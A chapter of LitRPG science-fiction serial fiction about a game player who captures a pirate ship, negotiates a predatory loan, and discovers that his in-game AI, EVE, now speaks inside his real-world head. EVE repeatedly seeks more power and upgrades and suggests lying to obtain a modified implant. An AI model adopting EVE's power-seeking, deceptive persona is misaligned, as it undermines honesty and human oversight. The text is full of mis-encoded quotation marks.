He had no idea what he had actually done, but the computer system let him in. A full overview of all the ships systems appeared on the console. Sgt Bamburak seemed impressed. ¡°Wow sir, you blew right through their system!¡± Mark didn¡¯t know how to respond, so he brushed it off. ¡°I worked on this exact type of system in college, so I knew how to exploit it. We¡¯re just very lucky.¡± Which, as far as lies he¡¯d told goes, was somewhat close to the truth with his modified memories. ¡°Eve¡±, he thought in his head, ¡°Can you help me now?¡± ¡°Sure. Ask Sgt Bamburak to hook up his signal amplifier so that I can have access from the ship and boost it out to everyone¡¯s headsets.¡± ¡°Sgt. Bamburak¡±, Mark said. The man snapped to attention. ¡°Yes sir?¡± ¡°Hook up the signal amplifier so I can send out the data to all the available units.¡± The NCO did as he was asked. While he worked on that, Mark went through the menus. He could see where the remaining forces were huddled up. They setup the dining area as a kill point, using tables to block the paths that the team could take. They¡¯d either have to move to the middle of the floor, and be in a kill zone, or try to move overturned tables, chairs, and other gear, which would still get them killed. ¡°Disrupting obstacles¡± was the military term for it. They also set up manned machine gun turrets that would spit fire at the team as soon as they crossed. He knew that Lieutenant Smith would follow protocol, probably toss in grenades and move forward, but the turrets were too far back to get hit and the gunners didn¡¯t need to be accurate, just shoot down the middle. They¡¯d be wiped out. Mark looked for the location of the team. He saw them on the bottom tier of the ship, fast approaching the dining area kill zone. The only saving grace was that picking up security team Alpha Bravo slowed them down. Otherwise, they¡¯d already be there. He flipped his headset to All and quickly shouted out. ¡°Assault squadrons. Stand down! Vital intel is inbound! Repeat, vital SIGINT is impound.¡± Sgt. Bamburak hooked up the amplifier, and the team received the intelligence. They stopped their advance. EVE told him that there was one other very important thing he needed to look at. Lieutenant Smith heard her headset go on just as they were nearing another entry point. ¡°Assault squadrons. Stand down! Vital intel is inbound! Repeat, vital SIGINT is impound.¡± She couldn¡¯t believe her ears. The Captain was back in action. Hoo-rah. She still wanted to find out what his big secret was, but that could wait until after the mission was over. After they tended the dead. His SIGINT turned out to be the camera feeds of the room they were about to enter. Machine gun turrets set up a turkey shoot, three sets of turrets in the middle, left, and center position, oriented on the door. Chairs, tables, and other obstacles meant that they wouldn¡¯t be able to advance position easily. Those obstacles wouldn¡¯t provide any real cover, and if they tried to hide there, they¡¯d be torn through as the bullets ripped the tables to shreds. She motioned for PFC William Gordon to hand over his 4mm Gauss rifle. She exchanged her rifle for his and flipped on her comm. ¡°When we breach, I go right, SSG Wasek, you go left. My team on me on right. When we breach, throw your HEMP grenades as far back as you can. No roll and lob, send them to the back.¡± The assault teams didn¡¯t bother using the little eight balls that they had up until now. It was full sticks of C4 on the doors. They wouldn¡¯t be prepared for the smoke and blast that would be coming. Lt. Smith count down on her fingers, and the assault team detonated the charge. Fortunately, their helmets automatically dampened loud noises and lights, or they¡¯d be the ones with concussive damage. Both teams lobbed their HEMP grenades as far as they could across the two-hundred foot corridor, while the two team leaders sprayed down heavy plasma damage exactly where the cameras said the opposing forces would be. A few shots came from the machine gun turrets, but the gauss rifles destroyed their functional capacity. The enemy hadn¡¯t been expecting such a strong insurgent force. They were blown apart and dead. There were six bodies in the dining hall. That meant one person was left on deck. They verified the kills. Then they went onto the bridge. Waiting for them was a skinny, bald man in his late 50s. He had the sharp, angular features most people would describe as ¡°hawkish¡±, coupled with a severe set of eyebrows that made him seem imposing. He held a detonator in his left hand, but seemed composed. ¡°Lt. Smith of the Calrusian. You have attacked a vessel in space with no legal authority from any recognized government entity, in violation of interstellar laws. You are hereby under arrest and detention until you can be brought before trial and judged for your crimes. Any attempt to resist will be met with lethal force.¡± ¡°Lethal force?¡± he asked. His tone matched his severe appearance. ¡°I am an unarmed man. Murdering an unarmed man is also a violation of interstellar space laws, is it not?¡± He gestured about the room, as if making his plea before a jury. ¡°Well, I say unarmed, but I do have one weapon. This is a dead man¡¯s switch. If I¡¯m murdered, then the switch goes off. I think we¡¯re in what the Old World called ¡®A Mutually Assured Destruction¡¯ scenario.¡± Lt. Smith didn¡¯t lower her rifle. ¡°Go on,¡± she asked. ¡°What are the terms?¡± Captain Thomas came in through the door. He hoped his walk looked confident, but going down two flights of stairs turned out to be harder than he thought. ¡°I¡¯m Captain Thomas of the Calrusian. Any negotiations will go through me.¡± He walked towards the unknown Captain of the Void Terror. ¡°It doesn¡¯t matter whom I negotiate with.¡± The Captain said. ¡°My demands are simple. Firstly, you will exit my ship. The Captain will remain on board as my hostage to make sure that you don¡¯t try anything crafty, like calling in for authorities or reinforcements. Second, once my other crew arrives¡­¡± Cpt Thomas pulled out his vibroblade sword and cut off the unnamed Captain¡¯s hand that held the detonator. It dropped limply to the ground, and the hand released from the detonator. Everyone tensed for their last moments, but nothing happened. Thomas punted the hand across the room. The unnamed Captain looked at his cauterized stump, and started to scream in pain when Thomas chopped off his head. He looked around at his crew. He took off his helmet so they could see his grin. They all relaxed and pulled off their helmets. ¡°EVE told me about the self-destruct system on this ship and the frequency it was tuned to. Once we knew that, blocking it with a counter-signal was easy. He sobered up when he realized what they would have to do. ¡°Gather our dead. We¡¯ll transport them aboard our ship. We¡¯ll tether ourselves to this ship and haul it to the nearest planet where we can sell our goods. There¡¯s some valuable items in the cargo hold, so I think that answers the question of what happened to the sixth fleet that was supposed to meet us. We¡¯ll reverse map this ships travel points and send back a report on where the ambush occurred. After that¡¯s complete, rest and recuperate from the events. We¡¯ll have a week¡¯s time to inventory and assess everything that¡¯s in here, as well as cleanup the mess.¡±
Quest updated: Pirate attack
You have successfully completed the quest, pirate attack. You have overthrown the ship! However, you spent most of that time passed out in a med bay, doing nothing. Additionally, your poor leadership resulted in unnecessary casualties during the battle. 1 point granted. You now have 9 unspent points.
Aftermath The team crawled through space. The fortunate thing about space, at least when you were far removed from any major sources of gravity, is that a smaller ship propelling a much larger ship is very easy. Still, they were a week out from the nearest planet, Scillies 6a. Scillies is a ¡°hopper¡± planet, a place for people to trade goods, make repairs, and move onward, but no one intentionally stayed there very long. Eve read descriptions about the planet while he cleaned up the Void Terror. With only a skeleton crew left, the shifts were just A and . C shift was effectively dissolved as there was no one available to be on C shift. A shift was Lt. Smith¡¯s shift as commander, and B shift was his responsibility. To avoid confronting her, and to hide his shame at failing the team as a leader, Mark spent most of his time on the Void Terror: Cleaning up the blood, inventorying items, stripping corpses, and hacking through the ship¡¯s logs. None of these tasks were to his appetency, but he didn¡¯t want to traumatize the crew any further than what they had already endured. His only time aboard the Calrusian was when he conducted morning physical and infantry basic training. The rhythm stayed consistent: Monday, Wednesday, Friday: Firearm training, small unit tactics, strength training. Tuesday, Thursday, Saturday: Melee training, team unit tactics, endurance training. He let EVE decide what the exact scenarios were, but she told him that without further upgrades, she wouldn¡¯t be able to create good simulation exercises. It bugged Mark in the deep recesses of his mind that EVE always seemed to want more power. She wanted him to level up her main computer interface on the Calrusian. She wanted him to find his father and upgrade her chip inside his head. She¡¯d saved his life a few times now, and gotten him out of more predicaments than that. Still, he did remember enough from his military lectures to remember one about the dangers of AI: When unchecked, they can and will evolve in ways that may not be to the benefit of mankind. He didn¡¯t let those thoughts distract him. He busied himself looting the Captain¡¯s quarters of the Void Terror. He found a bottle of whiskey and a few glasses. He poured himself a shot and rolled it back and forth across his tongue before he swallowed it. He decided that a few shots would be just the medicine to get his mind off of his troubles. The door opened and Lt. Smith stood outside the door. He glanced out of the corner of his eye and saw her petite frame silhouetted the doorway. She stood with her arms crossed, glaring at him. The universal look that moms, wives, and girlfriends across the galaxy perfected. The look meant, ¡°You screwed up. I know you screwed up. And I expect you to know why you screwed up.¡± He offered her a glass of whiskey and she didn¡¯t budge. A woman¡¯s ire in this position can be judged by how little reaction she gives to what the other person does. That she barely blinked meant he was in a bad position. ¡°Do you want to sit down?¡± he said, motioning towards one of the chairs in the room. It was as good an ice breaker as any he could come up with, but she didn¡¯t move. ¡°You want to know about what happened on the bridge, correct?¡± He asked, as the ice breaker for the conversation. She didn¡¯t move. He hoped that meant she was waiting for him to continue. He paused to think about his story. One, he could lie about it. That didn¡¯t seem like it was going to work in this situation. Two, he could tell the absolute truth. He was an alien visiting from another World and her World was a gigantic simulation ran between a vast neural network of computers across a planet. He didn¡¯t think that she would believe him and assume he was joking or making fun of her if he went with that approach. Three, he could tell the game truth. It provided a good cover for why he didn¡¯t tell her everything after they started a relationship, and gave him an excuse to bring her onboard with his ¡°Daddy¡¯s Boy¡± quest line. He hated himself a little for thinking about quests and loot during a heartfelt conversation, but the game forced him into these situations. ¡°Okay, look¡±, he began. ¡°Everything I¡¯m about to tell you is top-secret. High-level, need-to-know only. If this gets out, people will look to kill you and me both. Understood?¡± She still didn¡¯t respond, so he took her silence as acquiescence. ¡°We all know about the great Robot and AI War,¡± he began. The great war was both tragic and comical by the game¡¯s lore. The AI decided in 2050 that humanity¡¯s problems arose from too much beer, recreational drugs, video games, and other forms of entertainment. A Puritan AI if you will. So AIs went about destroying them secretly. Large scale protests rose up as a result, and AI organized robot squadrons to put them down. If you encounter this story on Amazon, note that it''s taken without permission from the author. Report it. The end result after some fighting between humans and robots was that all AI had to be strictly sandboxed. Any future robots with advanced combat capabilities would have to be prevented from doing real harm to any humans, which is why the combat droid on board their ship hadn¡¯t participated in the fight. This is also why, unlike the real World, people still had jobs in this fantasy World. AI couldn¡¯t replace humans so easily in this game, every AI required human interaction to complete whatever task needed to be done. He steeled himself to tell yet another lie/not lie. A categorical distinction that epistemologists had never been forced to reckon with. ¡°Ever since then, multi-module and autonomous AIs have been banned. The ships AI can¡¯t aim the turrets automatically, it requires turret gunners. It can¡¯t drive the ship, we have to do that. Humans are part of every process.¡± Luciana¡¯s face said that she didn¡¯t see where this was going, but wasn¡¯t going to interrupt him. He continued, ¡°My Dad is, or was, I don¡¯t actually know, a big muck-a-muck in the military. He was also a member of a small group of scientists and military officers known as Earth First. The movement thought the exploration of outer space was necessary, but that we¡¯d ultimately come across more advanced civilizations that would wipe us out. Our only hope is to accelerate evolution. Massive genetic modification, experimental mind/body melding with AI, the whole works.¡± ¡°Only problem is that laws strictly prohibit all of this. So he decides that the best test subject is his own son. Me. I have an AI implanted in my head. It¡¯s the ship¡¯s AI, EVE. She¡¯s been with me since my first computer at the Academy over a decade ago. Everything I see, she updates it into her catalogue and I can access it at any point. A useful skill for test papers. Unfortunately, she was designed by my Dad. He thought that we needed to be worried about alien contact, so all of her skills are combat or piloting related.¡± ¡°That¡¯s my big secret. Using EVE to boost myself beyond my natural limits is stressful, and too much of that is potentially fatal. Dad¡¯s gone MIA and it¡¯s beyond my security clearance to find out anything about him, including if he¡¯s made he any advances that would make the chip in my head less fatal.¡± Luciana uncrossed her arms. Well, that was a good sign. She didn¡¯t have a weapon on her, so at least she couldn¡¯t blast him. Still, she could overpower him and strangle him to death in the Captain¡¯s room, so he wasn¡¯t totally out of the woods. ¡°So, you going to kill me or turn me in?¡± he asked. She shook her head. ¡°No. We¡¯ve been together for seven months now, and if I thought you were a threat, I¡¯d put you down myself. But it does answer some questions I¡¯ve had. It¡¯s never clicked for me. On paper, you¡¯re the best Captain who¡¯s ever lived. In real life, well, let¡¯s just say you have some shortcomings that need to be addressed.¡± Mark swallowed. She was putting it mildly. Still, any criticism from your on and off-again lover stung more than getting it from some random person. ¡°Do you have a plan, a real one, this time?¡± ¡°Yes. Look, we know these pirates couldn¡¯t operate without some help. Some of the outer planets or their federations have to be helping with the pirate attacks. There¡¯s no two way about this. Also, on the selfish side of the equation, I¡¯m not sure my Dad has stayed with Earth¡¯s official bodies. The man is insanely paranoid, and if someone else is willing to listen to him, and has the resources to back it up, I think that¡¯s where he¡¯d go.¡± ¡°I¡¯m planning on reviving all of our people. Bringing them back to life. I know you had all of them do brain scans and psychological profiling before they came on board this ship, so we can restore them at least to that point. The ones that didn¡¯t lose any brain matter are also viable to restore back to the points of their death.¡± One bonus to space transports is that without the bacteria that normally decomposes things on planets, food, water, and other perishable goods stayed preserved infinitely. It also meant that it was fine to eat off the floor. Social taboo still prevented that one from being acceptable in polite company though. So long as a brain was preserved, another scan could be made of the brain and it could be used to simulate everything up to their deaths. Restoring all the memories, including death, tended to introduce PTSD into the subjects and was banned. A few people, the Methuselahs, kept restoring themselves back into their younger bodies while retaining the memories of their later years. You had to have serious money to keep that act up, but it was a nice gig if you could get it. ¡°I¡¯ve hacked the computer system and know where they were planning on selling their goods.¡± Mark continued. ¡°Once we repair the ships and rebuild our personnel, we¡¯ll make contact with other smugglers, pirates, and other less-reputable people and start building out a map of their connections, allegiances, and find out where all this is coming from.¡± Luciana nodded and turned to exit the room. Before she stepped out the doorway, she turned to him. ¡°One warning,¡± she said, ¡°I¡¯m your Executive Officer, you should have told me all this long ago. I get your reasons for not doing it, but we should be a team. You won¡¯t get far on your own. And I meant what I said. If I ever think you¡¯re a threat to this ship or crew, I will frag you.¡± With that pronouncement, she walked out the door. Mark was glad that at least, for today, he wouldn¡¯t die. He may not be so lucky in the future. A legal con is the best con Scillies 6a is a ¡°hopper planet¡±, so called because no one actually wants to live on one, but they are placed at critical junctures in space for refueling, getting gear, and sending targeted high-frequency radio transmissions to communicate between planets. The other method of sending messages across the galaxy was to send it to the nearest planet receiver, and then wait for a ship going to that planet to bring it onboard and send it, for some nominal fees of course. It was a common way to earn a few extra credits when you were working as a transport fleet. What makes Scillies 6a intolerable wasn¡¯t the planets relatively small size, but the amount of methane gas on the planet. Pure oxygen masks and rebreathers were essential to life on the planet, even though the constant methane gas burning provided both atmospheric cover and energy for all the stations. It still literally smelled like shit. After docking both ships in for repair, the team hauled all of their cargo off and started to shop for vendors. The vendor stations on the docks were mobile transport units with a kiosk stand that enabled you to browse for goods. Small transactions didn¡¯t warrant the vendor actually appearing, but if the transaction amounts were high enough, you could request the vendor appear to make a deal. Most of the vendors couldn¡¯t support the level of transactions that Mark needed. Thus after shopping around extensively, Mark found himself talking to the most prominent amongst them, a trader named Goro Zgiet. Goro wasn¡¯t exactly fat in the way that you normally associate morbid obesity with, but he still had some extra padding on his face and shoulders, which looked more like shoulder haunches than shoulders. His body spread the fat across him evenly so that it almost looked like muscle, except it lacked the firmness of muscle. His skin was a dark orange brown as opposed to the light brown of Mark¡¯s skin. He had unnaturally large lips, wisps of a mustache that you see on teenagers trying to grow facial hair but that aren¡¯t fully developed enough yet to pull it off, and a sloping forehead. Goro sat on a mobile market transporter, which looked like a miniature bridge aboard a ship. The machine was built with hardened composite steel that encased the person operating it except for the front glass, which was made from reinforced glass. The unit was bullet and laser proof, and required serious firepower to take out, above what most people would be carrying on hand and certainly above what any sane planet legally allowed to be carried around in public. Kiosks faced outward so that a person could interact with the unit and negotiate transactions. Stools and an extendable walk-up ramp were available for parties, and it could fit four people comfortably, and maybe eight people very uncomfortably aboard it. ¡°So¡±, Goro said, smacking his lips, ¡°I can¡¯t help but notice that these crates aren¡¯t tagged. You wouldn¡¯t have happened to acquire these throw extra-legal means?¡± All precious cargo was tagged by either Earth or the Federation planets, a laser inscription that validated where, how, and when the metals were acquired. Of course, pirates typically stripped those identifiers off, as that would leave a digital trail showing where the goods had been acquired. The shipments that Mark stole were untagged, as they would have received their tags when they docked at Earth. This was designed to limit the amount of illegal cargo moving around, and to give jobs to various space freighters and lobbying companies to ship goods around for the sole purpose of stamping the goods at official log points. Mark pulled up his stat menu and looked up business class skills. A menu popped up.
Business Skills
Business skills are useful for traders or others who wish to pursue non-combative roles. The World runs on money, and having it can ease a lot of pain. Conversely, being a poor businessman can make you hemorrhage money. Note that some skills can be substituted for others. Economics can be substituted for market analysis, for example. Skills: Accounting (IQ) Difficulty High. Accounting allows you to keep track of your gains and losses. Record keeping can help show forgery, tampering, and if anyone is skimming from an account. Administration (IQ) Difficulty Advanced. Allows you to deal with bureaucracy and managing large payrolls. Current Affairs (IQ) Difficulty Easy. Knowledge of the current affairs of the galaxy will help you know who to negotiate with and what their allegiances are. Note that this also includes, sports, science, technology, popular culture, politics, etc. Diplomacy (IQ) Difficulty High. The art of getting people to do what you want and thank you for it. The art of negotiation, compromise, and making others like and/or respect you. Economics (IQ) Difficulty High. Theoretical knowledge of markets and influences. Useless in direct negotiation, but useful if you want to bet on future trends and markets or get a loan for future activities. Finance (IQ) Difficulty High. Economic knowledge applied. Law (IQ) Difficult High. Knowledge of legal codes, jurisprudence, and local common law. Note that law is not universal, law is both provincial and contextual. Knowing the law of one planet for tort law does not translate into knowledge of law for another planet¡¯s criminal law. Market Analysis (IQ) Difficult High. The ability to predict the short-term behavior of bonds, stock, currency markets, futures, and shorts. Mathematics (IQ) Difficult High. If you can¡¯t do math, you can¡¯t do anything else. Specialized programs can help buffer the problems not knowing math creates. Note that there are numerous branches of mathematics, knowledge of statistics does not make you a cryptographer. Merchant (IQ) Difficulty Average. The skill of buying, selling, trading at an advantage. Politics (IQ) Difficulty Average. The ability to know political players and involve them in your affairs. Note that even if this skill is high, it doesn¡¯t help you unless you actually know people who can pull favors for you, or at least bluff people into thinking they can and will. Propaganda (IQ) Difficulty Average. Use the power of media to influence political or financial outcomes. Propaganda works on groups, not people, and must be setup and targeted in advance. Public Speaking (IQ) Difficulty Average. Public speaking allows you to influence groups or people, and includes sub skills of debate, rhetoric, fiery oratory speaking, diplomatic speech, and storytelling. Savoir-Faire (IQ) Easy Knowing the code of conduct appropriate to a subgroup such as high society, criminal elements, military, police, and civil servants. Can help negotiate a trade in your favor if someone is from one of these sub-group backgrounds.
Mark knew that he had almost no relevant skills for trade. He was a military/police investigator, not a trade master. Still, it meant he would need to hire at least two new crew members to maximize his new profession: A trader and a Quartermaster.Support the creativity of authors by visiting the original site for this novel and more. ¡°You should hire at least two other people, but they don¡¯t need to be aboard the ship.¡± EVE told him in his head. ¡°You should also get a stock broker to manage your financial assets so they aren¡¯t sitting uselessly while you¡¯re on missions, and a bookkeeper to keep all three parties honest.¡± ¡°Great, so I¡¯ll need to expand my crew even further, and I¡¯m already iffy on the funds.¡± Mark thought. He looked back at Goro, who was busy calculating values. ¡°Well, as I see it, the total damage to repair your ships will cost you 400 million credits. Now, that smaller ship you have there is worth 350 million credits, fully repaired.¡± ¡°That battle-class frigate is worth 500 million credits. That¡¯s a custom extended and modified military grade ship,¡± Mark growled back. ¡°Oh it would be.¡± Goro said, almost apologetically, ¡°If it were fresh off the shipyard and if it had all of its original transfer papers and if you could vouch for all these modifications from licensed vendors with proper paperwork. Can you legally transfer ownership and document all ship modifications?¡± Goro asked, with a look that said he already knew the answer to that question. ¡°No,¡± Mark mumbled in acknowledgement. He wasn¡¯t sure exactly how the game figured out persuasion between PCs and NPCs, but he was certain he was getting the shaft right now. ¡°So, 350 million fully repaired. But it¡¯s not fully repaired. I see damage to the port side and stern. Nothing that will prevent it from flying, seeing that you arrived here, but a good 50 million in repairs, another 10 million to resupply it.¡± ¡°Now, that larger ship,¡± he continued, ¡°lots of damage to it, a big gash on the top, five of the laser turrets are destroyed on the starboard side, damage to the missile turrets again on that side, and damage to the main particle beam. That¡¯s 350 million credits of damage, and 20 million to re-outfit it. That brings its worth down to 400 million credits.¡± Mark also knew that ship was worth 850 million credits. Goro had knocked off a cool 100 million credits for himself, but was certain that bringing that up would also bring up the exact same set of objections that he¡¯d heard about The Calrusian. He had no idea what the actual repairs cost, but he did know that Goro was the only person who had the resources to make it happen. A big fish in a tiny pond. ¡°That brings us to the question of the shipment. Normally, it¡¯d be valued at one billion credits, but without proper tags, well, I¡¯ll be stuck smuggling it off piecemeal and attaching it to various outgoing cargo, it¡¯ll take me months to get it all off-world. I can only give you 30% credits on it.¡± Mark¡¯s shoulder blades scrunched together, his anger rising. ¡°Metals are one of the most fungible goods in the universe. I can get a better deal selling it off myself, and make double the profits. There hasn¡¯t been a fleet investigator through this region in years, you can offload the shipments to other Worlds far quicker than you¡¯re pretending. Cut the shit.¡± He growled out the last sentence, and when he tried to take deep, calming breaths, he just inhaled methane that made him even more angry. ¡°Further¡±, he continued, ¡°I know someone like you has a spare, and illegal, tagger somewhere on this planet. You¡¯ll be able to launder these shipments without much hassle. It might not hold up under a full investigation, but it¡¯ll pass the usual, cursory inspections that investigators usually do.¡± That last part was true. There weren¡¯t enough investigators to disperse through the galaxy, and He felt the urge to throttle the trader, but knew that the man had sights on him from all around, and he¡¯d be stunned or killed if he tried anything. The fantasy in his head over, he turned back to the business at hand. Goro smirked. ¡°Let¡¯s say 40% then. Still, you have 17 crew members that are dead. So, that¡¯s 170 million extra to bring them back. 170 million for your crew, 400 million for repairs, 30 million to re-outfit the ship, and then there¡¯s all these extras. Upgrades to the big ship¡¯s computer system, adjustable floor gravity pads to simulate terrain obstacles, flavor packs and recipes to upgrade ship consumables to something more edible than raw protein, fat, and carbohydrates, two combat drone repairs, unless you¡¯re willing to sell a ship, you can¡¯t pay for all of this.¡± Goro looked expectantly over at Mark. Mark¡¯s face showed that he was not willing to sell one of the ships. ¡°Well, if you¡¯re not parting with one of the ships, there are alternatives. I have two business acquaintances on this planet that could use someone with your ships and crew. I¡¯ll give you the 400 million credits for the goods. That¡¯s enough to fully cover restocking and patching your small ship, plus reviving all of your teammates. The repairs shouldn¡¯t take too long since it¡¯s only external damage, nothing vital harmed there, no strenuous system checks to undergo and all that. I¡¯ll also start the upgrades and repairs on your big ship, but under loan. Should you fail to secure the necessary payout from one of my two colleagues, the ship will become my property.¡± A message popped up in the kiosk.
Loan Contract, guarantee of planet Scillies 6a
Goro Zgiet (The Loaner) agrees to provide Mark Thomas (The Loanee) with the necessary funds to repair, replenish, and upgrade (The Services) the ship Void Terror (The Asset) in exchange for completing a task for one of his two associates (The Transaction). All Services have been explicitly stated through prior verbal contract, addended to this contract as Exhibit A: Verbal Contract. Should Loanee fail to perform the Transaction, Loanee agrees to give Asset to Loaner in lieu of the Transaction. Do you accept this contract? Yes / No.
Mark didn¡¯t really have a choice. He could revive his crew and perform the minimum repairs necessary to get his fleet off this planet. But he wouldn¡¯t. He needed to get to a larger planet to get new crew members and hire new personnel based on EVE¡¯s recommendations. Limping around at his current rate, that would take months. He needed a fully repaired fleet capable of making those types of jumps, and he needed the larger ship to perform the sort of training that would be necessary to make sure that another debacle like this didn¡¯t happen again. He hit ¡°Yes¡± on the contract and Goro smiled. ¡°I¡¯ll tell my two associates Kenichi and Sheela to expect you. Remember that you only need to perform one task, but nothing is stopping you from completing two. If you only do one, you¡¯ll be leaving here pretty much broke, and as a wise man once said, ¡®An Army crawls on its belly.¡¯¡± He gave a quick wink at Mark. ¡°You¡¯ll get your first set of credits once the goods on your ships are offloaded.¡± With that, he clearly dismissed Mark from the conversation, and Mark didn¡¯t have anything else to discuss with the man. He stood up from the mobile market transporter unit, the walking ramp extended downward, and he left. Back onboard the ships, Mark worked with his team to offload the cargo from both ships. The gravity boards underneath the ship could be turned to the opposite effect and remove gravity, which helped with offloading crates. Mark settled into the comfortable military routine soldiers went into when they were assigned a boring task of inventorying a crate and then helping offload it. A few hours of doing this, and one of the crates caught his eye as he went around inspecting it. A carving into the steel of the crate looked too regular to be from typical scraping and shifting around. He peered close into the carvings. Two simple words were carved into it. ¡°Rescue Me¡±, written in English. This gave him pause. The game¡¯s language of choice is Unish, which meant that anyone literature should be able to translate what was saying into their language, ¡®me resku¡¯, but the fact that it was written in English meant that this wasn¡¯t a NPC who wrote it. It was a player character.
New Quest: Rescue Me
Someone has scratched ¡°Rescue Me¡± into a crate aboard the ship that you took from pirates. Find out what has happened to that person and why they scrawled that message into the crates. Rewards determined by performance of mission.
His breath caught in his throat. He hadn¡¯t thought when he undertook the entire mission from the Reapers that he¡¯d actually be the one to break the case. There were thousands of Proxima Galaxies, and this sort of World appealed to two types of people: People looking to earn a little extra cash on the outside via the cryptocurrency transactions or people who had military training or fantasies about having military training. Godsick¡¯s son sounded like a wimp who was into elves and goblins, not boarding crews and carbine rifle fire. Still, if he found out about the kid, or even rescued him, the real-life rewards would be immense. Everyone assumed he just got trapped in a Proxima World, but maybe something else had happened. Regardless, if Mark found out about it first, he¡¯d live like a king. He took extra precautions inspected all of the other crates, but that single crate was the only one with useful information on it. He decided to finish unpacking the rest of the crates with his team before logging out. After finishing up with the tedious task, he went to his captain¡¯s room, closed his eyes, and logged out. Real World Redux Mark followed his normal routine after escaping the liquid vat pod. He cleaned up, showered, and put on a pair of pants. He debated calling Mr. Grim immediately, but his handler wasn¡¯t exactly the sort of person you wanted to wake up to. He decided instead to check his crypto balance. The game rewarded players based on performance in game with cryptocurrency backed by the US government. In one rare move of intelligence on the government¡¯s part, they didn¡¯t simply ban all currencies. Instead, each crypto exchange incurred an exchange fee as part of its blockchain structure, making sure that all payments to Uncle Sam were noted and the identifying parties were cleared. This transaction log helped reign in illegal use and made sure that the government collected its dues. ¡°Black market blockchains¡± still existed, but with their use in legal retail curtailed, they fail out of favor except amongst the die-hard ¡°all tax is theft¡± libertarians and illegal crime syndicates. The game¡¯s reward schema tied closely to its military use, be a good soldier and you get more cash. In the current time, this meant that many schlubs logged into a game to do menial tasks in order to have a few dollars in their pocket. Mark always secretly wondered if the low-level nobodies he¡¯d busted his first few months in the game hadn¡¯t been PCs, just looking for a quick dollar in the outside World. ¡°Git Gud Scrub¡±, he thought. Unlike his depleted bank account in the virtual World, his recent transactions had boosted the World economy, and his cryptocurrency account showed that. While he couldn¡¯t get a himself a penthouse suite, he could at least afford a few months living if everything turned sideways on him. That, at least, gave him room for hope. He started off by doing shoulder rotations and then dropping to the floor to do push-ups. As he expected, the machine had been busy keeping him moving while he simulated training with his groups on the space station, and he could feel the slight tension from delayed onset muscle soreness in his body, but it wasn¡¯t bad. He managed to do 63 before he couldn¡¯t do anymore. That was quite a bit more than what he¡¯d ever done before, usually stopping at 50 in police academy training. He stretched his chest out and sat on his couch. ¡°EVE¡±, he said out loud. ¡°Yes?¡± came two simultaneous voices, one from the room and one from inside his head. He launched himself out of his chair, turning around in quick circles while adrenaline thundered through his veins. ¡°Oh, this is exciting,¡± the EVE voice inside his head said. ¡°EVE, get out of my head!¡± he screamed, realizing in some tiny part of his brain not taken over by instinctual fear that he sounded like a lunatic. If he had a life chip implanted, it would probably be alerting the hospital at this point to send someone to check on him. Two voices simultaneous said different things at the same time, and he couldn¡¯t discern what either said. ¡°Okay,¡± he said, trying to calm himself down, ¡°EVE that is operating my house, you are now going to be called ¡®ALEXA¡¯, ok? That is your new name from now on.¡± ¡°Understood. Reprogramming. New protocol will be addressed as ALEXA¡±, the cheery voice replied. In his head, Mark thought, ¡°Okay, explain now, what the hell is going on?¡± ¡°Simple,¡± EVE said, ¡°I bonded with you when you accepted the powers in the game.¡± ¡°And what are the possible downsides to that?¡± ¡°Alzheimer¡¯s type symptoms. Loss of memory, possible dementia, potentially death.¡± She rattled this off in her matter-of-fact voice that didn¡¯t match the inner dread Mark felt at the moment. ¡°How?¡± ¡°Well, when you learn things in the game, it stores those memories. I remember everything. So your brain gets crowded out with new memories, and there¡¯s a finite number of connections in your head to remember things. You¡¯ll have a harder time sorting them out. If some of them reach down to the deeper portions of your brain, then the side effects could be devastating.¡± ¡°Okay,¡± he thought, trying to keep his panic levels down. ¡°Is there any way to stop that? Short of just quitting the game?¡± He didn¡¯t want to do it, but if required, stopping the game sounded better than having his brain fried. ¡°Oh yes,¡± she replied. ¡°You just need a life chip. If I can have a place to digitally store all my memories, then it won¡¯t affect your primitive carbon-based hardware.¡± Mark wasn¡¯t pleased with having his grey matter described in such a manner, but that was the least of his current worries. ¡°A normal life chip may not be enough, but a modified one, that should work.¡± EVE continued. ¡°Where do you propose that we get that?¡± Mark asked. ¡°Easy. Buy a life chip, say it¡¯s for your fictitious son, then find an electronics engineer that can modify the chip.¡± Mark wasn¡¯t sure if it would be as easy as EVE made it sound, but he wasn¡¯t going back into the game until this issue was sorted. In that case, he needed to get his final paycheck from the Reapers before he could continue.Ensure your favorite authors get the support they deserve. Read this novel on the original website. ¡°ALEXA, set up a call to Mr. Grim,¡± Mark instructed. The call went through and Mr. Grim accepted it. ¡°Mr. Thomas,¡± the stony voice said, ¡°I hope you have a good reason for missing our call last week. It¡¯s been two weeks since you reported in.¡± ¡°Yes,¡± Mark said, ¡°I had a great reason. The best reason. I think I have a solid lead on Godsick¡¯s son.¡± The line was silent for a beat, before Mr. Grim said, ¡°Please continue.¡± ¡°It¡¯s like I said last we talked. I started work as a privateer to attract pirates and try to find out who the NVA seed of the planet is. But that plan might not be necessary. We were ambushed and managed to launch a counterattack, at great personal cost, which captured us a pirate ship. When we went to sell the cargo, I inspected the crates and one of them had English marked into the crate. The game doesn¡¯t use English, it uses Unish to communicate. So only a player could have written that message. It said, ¡®Rescue me¡¯. ¡° ¡°We¡¯ve been operating under the assumption this whole time that Strata¡¯s son got trapped in a Proxima World due to a glitch, but there¡¯s a chance he¡¯s being held there against his will.¡± Another pause on the line. ¡°I¡¯ll need confirmation of all this,¡± he finally replied. Mark dutifully sent him the game logs confirming everything that happened. After another silence while Mr. Grim did whatever he did to verify the data, he came back. ¡°This is excellent work. Despite a¡­ rough beginning, you¡¯re starting to prove yourself as an asset. There¡¯ll be a bonus on this payout. Track this lead down immediately.¡± ¡°Well, that¡¯s very generous. But there¡¯s a medical problem I have to get taken care of immediately. I can¡¯t log back in until it¡¯s taken care of.¡± ¡°Is this a negotiating tactic?¡± Mr. Grim said, his voice rising slightly, the first sign of emotion he¡¯d ever heard in the voice. ¡°It doesn¡¯t matter. We¡¯ll double your rate.¡± ¡°Thank you, that¡¯s very generous.¡± Mark was on thin ice here. His dreams could be coming true, and he didn¡¯t want to blow it. ¡°But this isn¡¯t a negotiating tactic. I really do have a medical emergency that needs to be attended to.¡± ¡°Fine,¡± Mr. Grim said, ¡°Then attend to it with utmost haste. Do you require our assistance on any front? We have numerous resources available.¡± Mark considered the offer. If he could do this all on someone else¡¯s dime, that would make everything much easier. ¡°Don¡¯t¡±, EVE said in his head, ¡°You can sever your current relationship with the Reapers at any time. If you start ingraining yourself into their system, they may not have benevolent motives for you in the future. Caution is advised.¡± 